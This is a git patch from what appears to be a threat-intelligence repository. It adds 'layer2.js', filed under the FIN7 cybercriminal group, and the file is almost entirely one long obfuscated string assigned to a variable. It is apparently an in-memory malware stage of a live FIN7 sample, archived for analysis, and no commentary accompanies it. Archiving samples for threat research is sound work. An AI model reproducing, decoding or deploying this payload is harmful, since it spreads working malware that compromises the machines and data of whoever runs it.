From 10ed56ddb2ce1a4f369b29b411a68b1493aa5480 Mon Sep 17 00:00:00 2001 From: StrangerealIntel <54320855+StrangerealIntel@users.noreply.github.com> Date: Wed, 25 Aug 2021 01:12:57 +0200 Subject: [PATCH] Create layer2.js --- .../FIN7/2021-08-24/code/layer2.js | 47 +++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 cybercriminal groups/FIN7/2021-08-24/code/layer2.js diff --git a/cybercriminal groups/FIN7/2021-08-24/code/layer2.js b/cybercriminal groups/FIN7/2021-08-24/code/layer2.js new file mode 100644 index 0000000..4eebe4f --- /dev/null +++ b/cybercriminal groups/FIN7/2021-08-24/code/layer2.js @@ -0,0 +1,47 @@ +// In memory op (all steps) +OQywqAtKEYVPLbC = "+Afwb+m+)+voftA+dA+bqf+)#Agv+o+A+dAujAp+o&A31+gvod+&+6+Gtu+AbsAuA&+6GeAfm+b+XOR Brute Forcez&+31&A39+A&3+A:A+&3A+1A+&8AC&+1E&1+B&A1:wbA+s&31At&6+GXT+dAsjAqu&3+1+&4A+E+&+31+X+ATd+sjA+qu&4C&A1+E&+A1+B&1+:t&+6AGXTdA+sAj+qu+&3AF+Tm+fA+fq&39&42A+&4+A3&+41&4+1A&4+A+1+A&41A+&3:+&4CA&1E&+A1B&8A+E+A&+1E&+1+ABAg+vodujpA+oA&31gvod&6Gd+A+s+zqA+u&6GdpouspmAmAfs&+31&+39w+AbsA&6G+uAz+qA+f&+3A+D+&3A+1A+wA+bs&6+AGAsA+fr+vfAtu&3:+&3+A1&8AC&1+E&1B&+A1:u+Asz&8A+C&1+AEA&1B&1:A&A1:wb+s&31+A+fAods+zq+AuA+jpAo&+A+6GlAfz+A+&3+1&4+EA&31&3+3&+33&A4C+&1AE&A1B&1:&1A+:AjA+gA&+39Awbs&6G+uz+qf+&A3+1&+4A+E+&A4+EA&4A+E&3+A1&+A33efds+A+zqu&A+33&3+:&A3+1&8+C&A1+E+&1+A+B&1+:&1:+&+1+:wb+As&A6+AGsfrA+vfAtu+&31&+4EA&A31+vo+fAtd+bqf+&+39A+w+bsA&+A6G+sAfrAv+ftA+u+&3:&A4A+C&1E&1AB+&1:A+&1+A:&1:A+wAbs&+A3A1sAfArvA+ftuA&A6+Gt+qm+juA+&A31A&+4E&3+1+wbs+A&A+6AGsfr+A+vA+f+AtuA&3AF+Atqmju&3+9+&3+3&3+7A&6G+A&37&A33+&3A:+&4CA+&A1E+&+1B+&1A+:+A&1:A&1+:+wb+s&+6A+Gsfr+v+ft+Au&+A31A+&+A4AE&+A+3+A1sf+rvAf+tA+u+&6GtqmjAu&A6+C&4+A1&6E+A&4C&A1E&1+B&1:&+1+A:&1:jAgA&A3A+1&39AsfA+rvf+t+A+u+&A+6GtqAmAju&A3A+F+mfo+Ah+ui&3A1&4A+EA+&4EA+&3+1&4A3+A+&A3:&31&A+8CA+&1A+E&A1+BA&1A:+&+1:&+A1:+&A+1A+:fodAs+zqujp+o&+A+6G+lf+A+z&31+&A+4AE&3A1sf+ArvA+ftAu&+6GA+t+Aq+m+jAu&+6CA+&4+2&+6EA&3F+t+q+A+m+ju&39A&3+A3&+3+3&3:&4C&A1+AE+&+A1B+A+&+A1+:&1:&1:+&+8A+Ef+A+m+tf+&8+C&A+1AE+&A1B&1A:&+1+A+:&A1A+:&+A1+A:+As+fAuvso+A&31A+w+b+s&A+6GAs+f+rA+v+AftAuA&4C&A1+E+A&+1B+&1A:+&1+:+&1+:&8+E+A&A1AE+A+&1+B&A+1A:A+&+A+1+:&+8EfAm+tf&+8AC&1+E&+A+1B+&+1:&1:&A1:+f+A+oAdA+szquA+jpAo&6+AGl+Afz&3+A1+A&A+4E&+A31+&A39A+Nbu+i&3+AF+gmp+pAs&+3+9AN+Ab+uAi&3FsbAoAeAp+n&39&A3:&A+3B+&4:A&4+A1&+A41+&+41+&3:&31+A+&+A+3C+&A3+1&A4A2&41+&+4+1&4A1+&A+3+:A&A3F+A+uApTu+sjAoAhA&3A9+&+A3+:+&A3+FAtqmAj+A+u+A&A+39&A+3A3A&A+33&+3+:+A&4+AC&+1+E&A1B+A&1:+&1:+&1+:Awbs&6+AG+sfAr+vf+A+t+u+&+A+4AEvofAt+db+q+f&3+9fo+A+dpAefVSJD+pAnqApAof+oA+u&3+9+wbs+&6GAs+fr+vAf+t+Au&+3+:&3:&4+CA&1AE+&+1B+&A1:&1:+A+&8AE+A&1E&A1ABA+&1:&1:w+bA+s+A+&A+3+1wAb+A+s&6Gp+vA+uqAvuA+&31&+A4E&31A+ofx&A31BAsAs+bAz&A+3+9+wAb+s&6GsfrAv+ftAu&+3+FAmfoh+u+i&3+:+&+4C+&1AE&+A1AB+A&1A+:+&1:gp+As&+31+&39wb+As&3+1+j&6+AGA+dpvAo+Au+f+AsA&+A31&4EA&A31&41A+&+4+C&A+31Aj&+6AGdp+voAuA+fAs&3+1A&A4+AD+A&A31+w+bs&+6Gs+A+fA+rvAfAtu&+3AFmAf+ohu+i&A4CA+&31j+A&+6GdpvAouAf+A+s&A3C&3AC&+3+:&31&+8C&1E&1B+&1+:&+1:+&A+1:+A+wbA+s+&3A+1+wA+bs&A+6G+dib+sDpef&A31A+&4E&A31wb+s+&+A6A+GsfrvftuA&3F+dA+ibs+A+D+pA+efBAu&A+3+9+A+j&+A+6+Gdp+Avo+Aufs&3+:A&3+1+&A6+AF&A31fo+ds+z+qA+uj+Ap+Ao&A+6Glfz+&A+6CjA&A6G+d+pA+voAufAs&+A+31&A3A+6&31+Af+o+dAs+z+q+uAj+po+&A+6G+l+fA+z+&3FAmfAohui+&A6+AE&+A3AFAdibsDpAefABu&39&41&3+:&4+C&A+1+AE+A&1B&1:&1:&+1A+:wbs+&+6GpAv+uqA+vuA&+6+C+j+&6+G+AdpAv+A+ou+fs&6E+A&3+1&4E&31T+A+u+A+sA+j+ohA&+3FAg+spn+DiAb+s+D+p+e+Af+&A3+9+wbsA+&+6G+dAi+bsAD+pAe+f+A&3:&+A4+C+A&A1E&1B&1+:&1:A+&+8E&1E&1B&1:+&+1+A:+Awb+s&A3+A1As+f+t+Avm+u&+6GtA+usjAo+h&31&4E&+31Awb+s+&6+AGpvuqvu&3+FkA+pj+oA&+A3+9&+33+&+A+33+&+A3:+&A4+C+A&+1A+E+&+1B&+1:&+A1:jg&A+39AwAb+s&A6GuzqAf+&3A1&4EA+&4+E&4E+A+&A3+A+1&33Af+Ao+dA+s+Az+qAuA+&+A3+A3&3+:&+3+1&+8C+&1EA&+A1+AB&1+:&1:&A1+:AsfA+tAvmu+&+A6GtAuAs+jAo+h&31&+4AE&31+sf+t+vmAu&6A+Gtu+sjo+hA+&A+31A+&+3+C+A&3A+1&3A+3+&37+A&+6G+&+3A+7&+33A&3A1+&3AC&31f+odAszqujpA+o&6+G+lf+z&+3AFkApj+o+A+&+A3A9&3+A3+&33+&+3A:A&4A+C+&A+1AE&1AB+&1+A:&1:&+A1+A:+As+fAtAv+m+u+&+A6GtuAs+j+A+oAh&+A3A1&A+4+E&31AfAtdbq+f&+39sAftvm+u&6A+G+tus+jo+hA&+3:&+4+C&1+EA+&1A+B+&1A:&1A:&+8EA&+A1E&+1B+&1:&1A:+sAfu+v+A+sA+o+&+31s+A+f+AtA+vmu+A&6+GAtuAsjoh&4C&1EA+&1AB&3+A1&A+3+A+1+&+A+31+&31+&A8E+dAbudi&3+9fA&A3A+:A&A3+1&+8+C+A&+1E&1+B&31+&3+1&31A+&3+A1&3A+1&31A&+3+1+&A+3+1sf+Auvso&31A&33AopA&3+3&4A+C&1E+&1AB&A3+1+&31A&3A+1+A&3+A+1+&8EA&+1E&1AB+A&1E&1BA&+8E+A+&+A1+E&1+BAgvA+o+duAjpo+&+3+1+Ag+voA+dA&6+Gje&3+1&39&3:&3+1A+&A8CA&1EA&A1B&+1:wbsA+&31nAbAd+&+A6+AGbAeesAftt+&+A+31&+4EA&31+A&3+3&3+4+Fssps&34+A+&3A+3&4C+&A1E+A&A1B&+1:wb+sA&+A31eot&6G+Aip+tu+obAnfA&+31&A4+AE+A+&3A1&33&A+3A4FA+ssAps&A34+&+33&4+ACA+&1E&A1+AB&+A1A+:AusAz&8+ACA&+1E&A1AB+&A1:&+1:wbAsA&A31+mAsAf+Ar+v+ft+uA&A31A+&4E&+3A1xnj+A&A3A+FFyf+dR+Avf+sz&+3A9&A+3+3tfmf+d+uA+&A3+1&+3+AB+&+31+AgspAnA&A31XA+j+o&+4+4&+A43+&6GOA+fAu+xA+pslBeb+quf+sAD+ApAogj+AhA+v+A+sbAu+jpoA&+A3A1xifsAf+&3+A1A+j+Aq+A+fobc+mfe&3A+1A+&4+E&31u+sv+f&+A33+&3+:A&4A+CA&A1EA&A+1+B&1+:&+1:wbs+&3+A+1+A+mAJAu+fnt+&+A31&A+4AE+A&A+3+A1+A+of+x+A+&+3+1+FAo+v+nf+As+b+Au+p+s&39mAsf+r+vftu+A&+3A:&4AC+&1+E&1B+&A1:+&1:+gp+s+&3A1&39+&+A4A+C&31&+3+A2m+JAuAfAn+At+&3A+FbuAFoe&+39&3:+&4+C+&+31A+mJuAfA+ntA&A3Fnp+w+f+OA+fAyu&39&A3A:&3:+A&3+1+&+8+AC&+1+E&+A+1B&+1+:A&A1:A&1+:+An+Ab+d+&6+GAbe+eAsf+A+ttA&A+31+&+A4+E&A+3A+1AmAJu+fAn+t&3+FjA+uf+n&+39&+A3+:+&3F+n+bdbeeA+sAfttA+&+4C&+1E&1+BA&A1:&1:+&A1:eot+&6GAiptuob+n+Af+&3A1+&4E&3A+1+AmJuf+nAt&3AF+Aju+fAn&+3A+9+&A3+:A+&+3AF+EOATIp+tuO+bnfA+&4ACA&+1AE+&1+B&1A+:&1:+&A1+:+jg+&+3+9uzqfp+g&A31+n+AbAd&6Gb+ees+A+fA+tt&+31&4EA+&4+AE&A4E&+3+1+&+33+AtA+uAsjo+A+h+A&+3+A+3&+3+A+1+&A37&37&A3A1n+Ab+Ad&A6GbAeesftAt&3+F+Amfoh+Aui&3+A+1A&A4A+F&A3+A+1&42A&A3A:&+A+3+1&A8C&1+E+&+1B+&A1:&A1:&1+:A&1A:jg&3A9A+u+zqAf+A+pg&A+3A+1eAot&+A+6Giptuob+nAfA+&A+31A+&32&A+4A+E&4+E+&A3+1&33tusjo+Ah+&3A+3A&+A+3+1&3+7+&37&31+eo+At&+A6+GA+i+AptuobnfA+&+3+Fmfo+A+hui+A&A31&A+4D+&3+1A&42+&3:&31&8C&+1+E&1AB&A1:&1A:A&+A+1:A&1+:&1:+e+ot&A+6+Gi+ptuA+obn+f+&+31+&+4+AE&3A1+&33Volo+p+x+oA&A+3A+3&4+A+C&1EA+&1BA+&A1A:&+1:&+A1:+A+&A1:+&8EfmAt+f&8CA&+1AE&1B&1+:&A1:A&1:&1A:+&1:gp+s&+A+31+&39wbA+s+&A3+1j&A6Gd+p+AvA+ouAfAs+&+A3A1&+4+E+&A31+&A+41&4+C&31A+j+A+&6GdApvo+u+fs&31+&4DA+&+A+3+1e+ot+A&6+Gipt+uobA+nAf&3+F+mAfo+AhAuAi&+A4C&31+j+&+6+Gd+pAvoufAs&3C+&+3+AC+&+3:+A&+3+1A&A8C&1+A+EA+&+A1B+&+A1+:A+&1:+A&1A:+&+1A:&A+1:+&A1:+jg+&A3+A1+&+39eA+o+AtA&6G+Ai+Aptuob+nfA&3+A+Fd+ibs+Bu&3A+9j+&+6Gdp+vA+ouf+s+&A3A+:A&3+A+1+&4+F&3+1A&33A{+A&A3+3&+3A:&A31+&+8AC+&A1+EA&1B&1:&1A:A+&1A:&+1A:A&1A:&A1:&+1:Aeot+A+&+6GAip+tAuA+o+bnfA&A31+A&+4+E&3+1e+Ao+t+&6G+iptA+uoA+bA+nf+&A+3F+tAvc+A+tus+&39+&4A1+&+3+D+A&+A31+j&+6+A+GA+dApvoAufs&3:&+3+A1+A&3AC&+31&+A33+&+6GA&+3A+3&3A1&3CA&A3+A1AeoAt+A&+A+6GipAtuo+bnf&3FAt+vcAtus+&+3+9j&+A6+G+dpv+o+Au+fs&31A+&A+3A+C+A&+A31A+&+A42&3:A&+4C+&1E+A&1B&1+A:&+A1:&1+A:A+&1:+&1:&+1+:+&8+E+A&+A+1E+&+1B+&+A1:&A1+:+A&1+:A&1A:&1:A+&8AE+&+1E+A&1+B&+A+1+:+&+A+1:&+1:&1+:+&+8E+&+1E+&1A+BA&1A:&1:&1A:&A1A:sf+AuAvs+AoA&+3+1nb+Ad+A&A6AGbAeAe+s+A+ftAtA&+A+31A&+A3C&+31A&A33+A&6+G+&33&+3+1&+3CA&31eot+A+&+6G+ipAtA+uoA+b+nfA&4C+&+A+1+E+A&+1AB+A&+A+1+:+A&A1:A&1A:A&+A8EA&A+1+E&+1AB+&1A+:A+&+1:A&A8+E&+1E+&A1B&+1A+:&+A8+EA+d+budAi+&39+Af&A+3:&3A1&8+A+C+&1E+A+&1+BA&+3A1A&+A31&3+1&A+3+1+A&A+3+1&31+&31+&+A3A1A+s+fuA+v+soA+&+31n+Abd+A+&+A6+AGbe+A+esfAtAt+&31+&3A+C+&+A3+A1&33&+A+6G&3A3A&3A1&+3A+CA&+3+1+e+ot&A+6Gi+p+t+Au+oAb+n+f&4C&A1+AE&1AB+A&+31+A+&+A31+&+31&A3A1+&8E&+A1+E+&1+B&+1E+&A+1B&+8+AE&A1E&A1AB+AgAvo+duj+po&31AgvoAd&+A6+Gn+bjo+&31A&3A9&3+:A&3A1&8C+&+1+A+E&A+1+B&3A1+A+&31A&31A+&+3+1Awbs&+A3+1odpnAn+bAoe+&+3+A1+&A4A+E&31&33+&A3+3+&+4C&A1AE+A&1B&1:wbAs&3A1AtA&6GAXATAdsjq+AuA+&31&+A+4E+&A31+XA+TdsAjq+u&+A+4C+&1+E&1B+A&A+31+&+3+1A&31&31o+dpA+nnbA+oe+&3+1&+4E&3+1tfoe+&+6Geb+ub+A&39A&33+sAfr+A+vAfAtAu+A+&3A+3+&3ADA&+3A+1&3A3qbAhf+A&+6G+j+e&A4+AE+Ao+fx&+A+3A+3&3+D&3+1+u+s+v+AfA&+A+3:&+4AC&A+1+E+A+&1+AB&31A+&+3A+1&+3A+1&A31jAg+A+&+A3+9odApAnA+n+boe+&+A+31+A&+32&4+E&4E+A&+3A1+&3A3oApA&33&3A:&31&A+8C&1+E&A1AB+&1+:A&1A+:usA+z+A+&A3+1+&A8C&A1E&1+B&+1:&1+A+:&1:AoAd+pnnAbAoAe&+31&+4EA+&31gv+o+dA&A6GdsAzq+u&+6GdpoAu+s+pmmAf+As+&39&+3A3+eA+fdszqu&3+3+A&3DA&31o+d+Apn+nb+oeA&3:+&A+4AC&+1E+&+1B+&A+1:+A+&1:&1:jAg+&A3+9odpnA+nb+oe&A3A1&32&4+E+&+4A+EA&A+3A1&+3A3Ao+p&3A3&+3+A:&3A1A+&8C+&+1AE&1+B+&+A+1:A&A+1:A&A1+:A&+1:Af+wbm+&+A3+9+g+voAd&6+G+dsAzq+uA&+6GAd+pAouAspmmf+sA&39&3A3efds+zA+q+u&+A33+&3+DA+&3+1od+ApnnAb+Aoe&3:A&3:+A+&4CA&+1+E&1B&1:&1+:+A+&1:&A8+EA&1EA&1ABA+&31&31&+A+31+&3+A1+&A3+A+1&A3+1&+A3A1+&+31A&+8Edb+udi+A&39f+&3:+A+&3+A1+&8C&+1+E&1B&31+&A31+&+A+31A&A3+A1+A&31+&+3A+1&3A1+A&+A+3A1A+&8E+&+1E&1+B&+3A1A+&31&3A1+A+&A31+&8+E+&1EA&+A1BA&+A3+1&31+A&31&31Awbs&A31s+boe+pn&6AG+l+o+Ap+dl&+3+1&+4E+&+3A+1&A42&+4+3&4A1&+41+&4A+1&+41&+31+&3C&31+&39A+Nb+u+i+A+&3F+gmpp+A+s&39+A+NbAui+A&3+FA+sboAepn&+3+9A&3:A+&+31&3B&3+1+&42&A4A7+&+4+1&A4A1A&4+2&3A:&+3A1&3AE&3+A+1&4A6+&4A+1&+A41&4+1&3+:&4A+C&+1EA&1+AB&3A1A&+A+3+1+A+&+31A+&3+1t&6GXT+Ad+sjqA+uA+&+3FATmf+fAqA&3A9sbo+eAp+n&6+GlA+o+pd+Al&3A:&+A4+AC&1+E+&+1+B+A+&+3+1&A31A&3A+1A&+31AgvA+oA+d+A&6Gn+bjA+o+A+&+39&3:&+A+4C&1E+A+&+1B+A&8+E&1E&A1B+gvod+u+jApAoA+&+A31gvod&A+6G+Ahfu+&6+GAqAbA+ui&A31&+3+A9&A3+:A&31&8ACA&+1AE&A+1B+&3+A1&+3+1+&31&3+1w+b+s+&A31wb+As+&+A6AGq+A+b+uift&+31&4+E+&+31A&6+C&+33A+jnAbhft&3A3&+3DA&31&+3+3+q+AjA+d+u+AvsAfA+t+&33A&3+ADA&A+3+1&+3+3+jnAh+A+&3+3&3+D&+3A1&A33j+oAgp&33&+A+3A+D+&A3A1+&A33ofx+&3+A3&6E&+4AC&+A1+E&1B+&A3+1&A31+&+A+3A1&+31Awb+s&+31+wbA+s&6GgjAm+ft+A&3+1+A&A4+E&A+3+1&6+C&+3+3Atzod&3A+3&3D&A3+1+&+A3+3A+t+ipAx&33&3DA&31A&33+ije+f+&+33A+&3D+A&3A1A&+3+3b+A+eAe&A33+&3+DA+&+31+&33of+Ax&33+A+&3+AD+A+&A3A+1+&A+3+A+3s+fofx+A&33A+&A3D&+3A1&3+3e+f+m+A+fufA+&3+3A&A6+E+A&+4CA+&A1E+&A1+BA+&+31&+3A1A&+31A&31wb+s&31wbs&6G+qAbui+&+31A&4EA&A3+1wb+sA&+6GqAbAuA+i+f+t&+6+CNbA+u+i+&+3F+A+gmppAs&3+9+Nb+uAi&A3+AF+sbAoAeAp+n&39A&+A3+:+&+A3+1&3AB&+A+3+1+wbs+A&+A6+GA+qAbuAift+&+3Fmf+oh+uAi&A3+:+&+6E+&A31+&3A+C&A3+1+&33&3+GA&+3+3&3+1A&3A+C&+31w+A+bs&6AGAgjAm+f+t&A6CANbAu+Ai&+A3Fgmpps&39+AN+bu+iA&+A3Fsb+AoAep+nA&39&3+:A&31&3A+BA+&+3+1+wbs+&6Gg+j+mft+&+3F+mAfA+o+hAuAiA+&3A+:+&6+E&+4+CA&1E&A1AB&3A+1+&3A+1&A+31+A&31s+fu+vso&+31A+&+A+33+iuuqtA&4AB+&A3G&+A3GAdjAwjmjA+{+buAjApoj+AeAj+vAn+&3+F+dpn&3+AG+&3A+3&A3+1+A+&3AC&3+A1wbsA&6AGAqbA+ui&A4AC&A+1AE&A1B+&8EA+&+1A+E&1B+wbs&A+31+xnjA&31&A4A+EA&A+3+1A+Hf+uA+Pck+fA+dAu+A&+3A9&A+33xjonhAnut+A+&+4B+Asp+p+Au&3+AG+AD+JNW&A+4+A3&+3+3A&3:&+A4+C+A&+A1AEA&1ABw+AbAs+&31Atifm+m&+31&4+A+E+A&+31ofxA&3+1B+dujwf+A+Y+P+ckfduA+&3+9A+&+3+3XTdsAjqu&3FA+TiAfAmm&+A33&3+A+:A&+A4C&+1+EA&+A+1BAw+bA+s&+3+1+A+gtp&A31A&A4AE+A+&+A31Ao+fx&3+A1Bdu+jw+A+fYPAc+kAfdu&+A+39+&3+A3Tdsj+Aq+Auj+oh&+A+3FGAjm+AfTz+t+uA+f+nPA+ckAf+dAu+&A+33A&3:&4C&1EA+&1+A+B+wA+b+sA&A31+bqq+&6G+q+b+u+i&+31&A+4A+E&A31tA+i+fmm&3Ff+y+A+qbo+e+Fow+jsp+o+AnAfouTAu+sjoA+hAt&39&A3A3+&+3A+6BQ+QEBU+B&3A6A+&+33+&3A:+A&4+C&1+E&1Bwbs+&3A1+v+o+j+r+&A6+G+jA+e&+31A&4E&A+31ofxA&3+1EbuAf+&3A9&3:+&3Fh+f+u+AV+U+DNjA+mmAjtfA+dpoet&A+3+9&3+:&4+CA&1AE&1BA+jAg&+39+gAtp&3FH+fAuB+cA+t+A+pmAvAufA+Qb+A+u+iA+ObnAf+A&+3+9g+Atp+&3+F+HAf+uQbsA+fouGpme+fsO+bA+n+fA&+39bqq+&+A6GAqbui&+3+:&A3+:&A+3+AFjo+efAyPgA&A3A9+&33ABqq+Ebub&33&+A3:+&31+&4+AF&31+A&46&+3A:+A+&A31A&A8C+&1E&1+AB+&A+3A1+A&+3+1&+A3+1A&3A+1jgA&39XT+dsAjq+u+A&3AFTAd+A+sAjAquA+GvA+mmO+bA+nAfA&3FjA+oe+A+fAy+P+g+A+&A+39A&3+A3Nj+d+s+p+Atpgu&A+33&3A+CA+TusjAoh&A3F+g+Asp+AnADi+AbsD+p+e+f&3A9+A&41y+&A4A6+D+&+3:&+3C+&+33X+joe+p+xt&+33&3:A&+4DA&4+1+&A3A:+A&8+C+&1E+&A+1B&+1+:&1:A&A3+1usA+z&8CA&+A1E&+1B+&1:+&A1:&A+1:&A31gtpA&A+3+Fe+fm+f+A+uAfGjmAf+&3A9+AXAT+d+sjAqu+&3FTdsAjqu+A+GvmmA+OA+bnf+&3:&4C+A&+1AEA&A1AB+&+A1:&+1:&+31&8+E+A+db+udi+&39f+&+3:+&3A1&8C&A8+E+&+1E&1B+&3+A1&31A+&3A1&3+1+&8+AE&+1+E+&1+B+&A3+1+&3+A1&A31+&3+1+uszA&8A+C+&1E&+A1B&A31+A&3A1&+31+A+&3+A+1A&+A3A1A&A+3+1A&A31+&3A1+Ag+vo+A+d+&+A6GtA+u+bsAu+A+&A6+AG+A+eAf+mAb+zA&+31&39&+A3:A&+4+C&+A1+E&A1A+B+&3+1+&+31+&A3+1A&+A31A+&31A&A31&+3A1&3A1+g+vo+Ad&A+6+GnbAj+o&39+&3:&4C+&+A1+E&1B&31+&+31&3A1&+3A1&8E+d+A+b+ud+i&3A9A+fA&3+A+:+A&3A1&8CA&A1E&1+B&3+1&31&+31A&31+&31&A31&+31+&A31gvodA+&6+G+nAb+jo&39A&A+3:&+4A+C+A+&1+E+&+A+1+B+A&3+1&3A+1+A+&31+&+A+3+A1+A&8+AE+&1+E&1+B+&8E+&1E&1+BgAvAoduj+po+A&31t+f+AoeA&6G+eb+u+b&+A31&+39wbAs+&6+G+Auzq+f&+A3D&31+wAbs&A6GAeb+u+A+bA+&3D+&A31w+A+bs&A6G+d+AsAzq+uA&3:+A+&31A+&8AC+A&1E+&+1+B&3+1A&A+31A&A+3+A+1&A+31+A+uA+sA+zA&31&A8C&1+A+E+&1+B&+3+A1A&31+A&+A3A1+&3+A1A&3A1A&+31&+3+A1&A+31wbsA+&+31iuA+uq&A6Gpckf+du&+31A&4+EA&+A31oAf+x&+31+A+B+Ad+ujw+fYAPckA+fdu+&39+&A+3A+3NTYNM&+4A3+&3AFATfsw+fsAYA+N+A+M+AI+U+UAQA&3+3+A&3+A:&A+4A+CA&1AE&1B+&31&+31&3A1A&3A1+A+&3+A1+A&3A1&3+1&+A3+1jgA+&A+39AwA+b+sA&+6AG+u+zAqfA&3+1+&4+E&+A4E&4+EA&31&33+AsA+frAv+ftu&3+A3&+A+3:&3+A1A&8+C&+A1+E&1+B&A31+&31&31&+3+1&A31&31&3A1&+31+A&+A3+1+&31&A3A1A&A31i+u+uq&6AGApc+kfdAu&3AF+pqfoA&+A3+A9&A+3+A+3AQP+TU&3+3+&+3D&A3+1AgAvod&+6AGhfu&+6Gqb+A+u+i+&31+&+39&3:+&+3A+1&3+C&3+1&A33A&A+4AGA+u+Az+q+f&A4E+obnf&3A3+&A3DA&+A3A1+Ag+bA+mt+Af&3:&+A+4C&+1E&+1AB&3A1A&+3+1&+A+3+1A&31A&3+1A&+31&31&A+31&3+A+1A&31+&31&+31+Awbs+A+&6Ge+Abu+Ab+A+&3A1&+4E&+A31A&3+A3{A+b+xhlw+Afv+AxzozA+kAwjA+{+t+&4+E+A+&+A3+A+3&A3+1&+3AC&31gAvo+Ad+&6AGAds+Az+q+A+u+&A+6A+GdA+poA+us+p+Am+A+m+f+s&+3A+9&A3A3fodAs+Azqu&A33+A+&3DA&31+&A3+A+3+h+spv+A+q&4EtA+q&+3A7su+&A4E&4+1&+37At+fdAsAfu&+A4EIjzGAJ+Z+GA+&4+A:&48&A44AJZ+GDw+j+z+w&37ujn+f&A+4E+&4A+2&+4A3+&41&A41+&4A1+A+&41A+&A+37vj+AeA&4E&A33+A+&31A&3CA&3+A1vo+jrA&A+6+G+A+j+e+A&3+1+&A3C&+3+A1&A3A3+A&A3+7AjAe+A+&A4E&+3+3A&3A1+&A+3C&+31gAvo+Ad&6+G+jeA&39&A3:+&3A+1+&3C&31&+A33A&3+7+A+&3A3+&31&3C&3A+1+wb+As&6A+GeAbubA&3:&A4+C+&1E+&+A1B&31+A+&3+1&31+A&3+1&3+A+1&3+A1+&3A1&+A+31&A+8EAf+Amtf&+8+C+&+1+AE+A&A1+B&+3+A+1&+A31&3+1A+&A3A1A+&A+3+A1&+3+1&+31&A31&+31A+&+A+3+A1&A3+A1+A&A+3+A1A+iuAuq&+6+GpckfdAu&3AF+ApAq+A+foA&+A3+9&A33Q+AP+T+AU+&+33+&+A+3DA&3+1AgvAod&6GAhfuA&A6+AGqbuAi+&+3A1&39&A3+:+&+A+3+1&+3+C&+3+A1+&33&A4Guz+q+f&4EdpoAuf+o+u&A37+je+&4EA+&A33&A+31A+&+A3C&3+1v+oAjr&+A+6G+je&3+AD+&A31+gbmtA+f&A+3:+A&4A+C&A+1E&1AB+&A+3+A1+A&+31&A31A+&+3A1A+&A+31&3+1+&A3A1&A+31&3+1&+A31&A31&+A3A1jg&39Awb+As&+6+AGA+d+s+zqAu&3+A+:+&+3A+1A&+8AC+&A1AE+A&1B+&3A1&A+3+1A+&31+&A+3+1+A&+3A1&3+1A&A31&A3+1+A+&+31A&3+A+1A&A31+&3A1+A&A+31&A+31&3A1&+31Aw+b+As&+A+6Ge+b+uAbA&3+1&4+AE+&31gv+o+d+&6G+d+szA+q+u&6Gdpou+s+pmmA+fsA+&3A9+&+33f+o+dszqu+A&3+3&+3D+&3+1wb+As&A6+GA+ebAu+b&3+:&4AC+&1E&1B+A&A31&3A+1&A+31&31&31&3A1&3A1+A+&31A&+31A+&+A+3A+1&+A+3A1A&+A3+1+A+&8+E&1+E&A1AB+&A3A1&3+A+1&A3+1&31A&+A+3+1A&+A+3A1&+3+1&+3+A+1&A+8EA&1E+A&1B&3+A1+&+3+A+1+&+3+1&A3+1+A&A31A&A31&+3+1&+31iuuq&A6AG+pckfdu&A+3+F+AtfuSAfrvAf+t+uAI+fbefs&A3A+9&+3+3AVAtfs+&3E+ABh+fou+&33&3AD&31&+3+A3N+p{jmm+b+&3+G&46+&A3F+&+A4+1&+31+&+39XjA+oep+A+x+At&31OU&+3A1+A+&A47+&3AFA+&42&A4AC&+31+XjAo&A47&4A5+&+4C&3+1y&+47A&4+A5&A4C+A&+31s+w+&A4+B&47&+4:A+&A3F+&41A&A3:+&+3A1H+Af+AdAl+Ap&A3+G&43+&+A+4+A1A&+A42&41&4+A1&42A&41+&A42&A31GjAs+f+Agpy&+3+G+A+&+A4+6+&4+1&A+3+FA+&+41&A+3+3+&+3A+:+&+4AC&+A1E+A&1AB&A31&+31&+A+31&A3+1&3+1&A+31+&3A1A&3A1+iuuA+qA&+A6AG+pckf+A+du&3Ftfu+SAfAr+vfAtu+A+IA+f+A+bA+eAfs&+3+A9&33+DpAoAu+fo+uA&A3AEAU+zqf&+A+33+&+3+A+D&+A31&+33bqqmjdA+buAjA+pAoA&+3+A+Gy&+3+Exxx&3E+gpsAn+&+3E+vAsmf+odApefe&+33+A&A+3:A+&+4C&+1E&1+A+B+&31A&+3+A+1A+&31+&A31+A&3+1&3+1&3+A+1&+A3+1i+Auuq+&6G+pAc+Akfdu&+3AFtfu+P+q+u+jpo&39&43&3AD&3+A1+A&+A+4A2&44A&A4+1A&46A+&+47&3:&4C&1+E&+A+1+BA+&3A1&3+A1&3+1&A3+1+&3+A1&A+31&+A+3+1&+31AiA+u+uqA&A6Gp+Ac+kf+du+A&3+AFtfAoeA&+39+wb+As&+A6Gebub&A3:+&A+4C&1EA+&A1+B+&+3A1A&31A&+A31&31A+&A3+1+&A+3A1&3A1&31+AsAf+u+A+vA+so&A31+iuAu+q+&6+A+G+ApckAfdu&3FsftAq+A+p+ot+A+fU+fyu&+A4+ACA+&1AE&1+B+A&+A3+1A&3A1&31A&31&8+EdbA+u+dAi&39fA&A+3+:+&+31&8AC&A1E&1+AB&+3A+1+&31+&3A+1+&31&31+&3+1+A&+3+A+1+A+&A3+1+s+A+fuv+soA&A+3+1+&A3+A+3+o+Ap+&33+&A4+C+&1AEA&1B&A+31&A3+1&+31&31+&+8E&1+EA&1+A+BA&8E&A1E+A+&A1BgvodA+ujApAo&+A+3+1gAvoAd&6Ge+fdA+sz+qAuA&A3+A9t+u+sAJ+o+qju&3:+A&31A&A8+C+&1+E+A+&1AB+A+&1:tAuAs+A+QbAt+A+t&31&A4AE&A31&A+3+A3hb+&+4A5+lv&3A+3&+1+E&+1+B&1+:Awb+sA&3A1Atu+AsASfu&A4+A+Eof+Ax&3+1+TuA+s+A+jo+h+&3+9+&3A3&33+&3:+A+&4+C&+1E&1B+&1:wbAs+A&31+Ab+s+su+fyu+&3+1+&4E&A+31tA+usAJ+oAq+j+Au&A+3Ft+qAmju&A+39&3+3A+&A+3+D&A33+A&+3+:+&+A4+C+&A1+E&1+ABA+&1+E&+A1+B&1:wbAsA&3+1j&+6GdA+pvAoAuf+s+&+4E&4+1&4Cw+Abs+A&31k+A&6Gdp+vo+u+fAs&4E&41+&4C+&1+E&+1+B&1E&A1B&+1+:AgApA+sA&+39+Aj&A6G+dApvoAu+f+A+sA&+4A+E+&4A1&A4ACj&6+AGAdpvoufs+A+&4DbA+s+sufAy+uA+&A+3FmAfA+oh+ui+&3EA&+A4A2&+A4CA+jA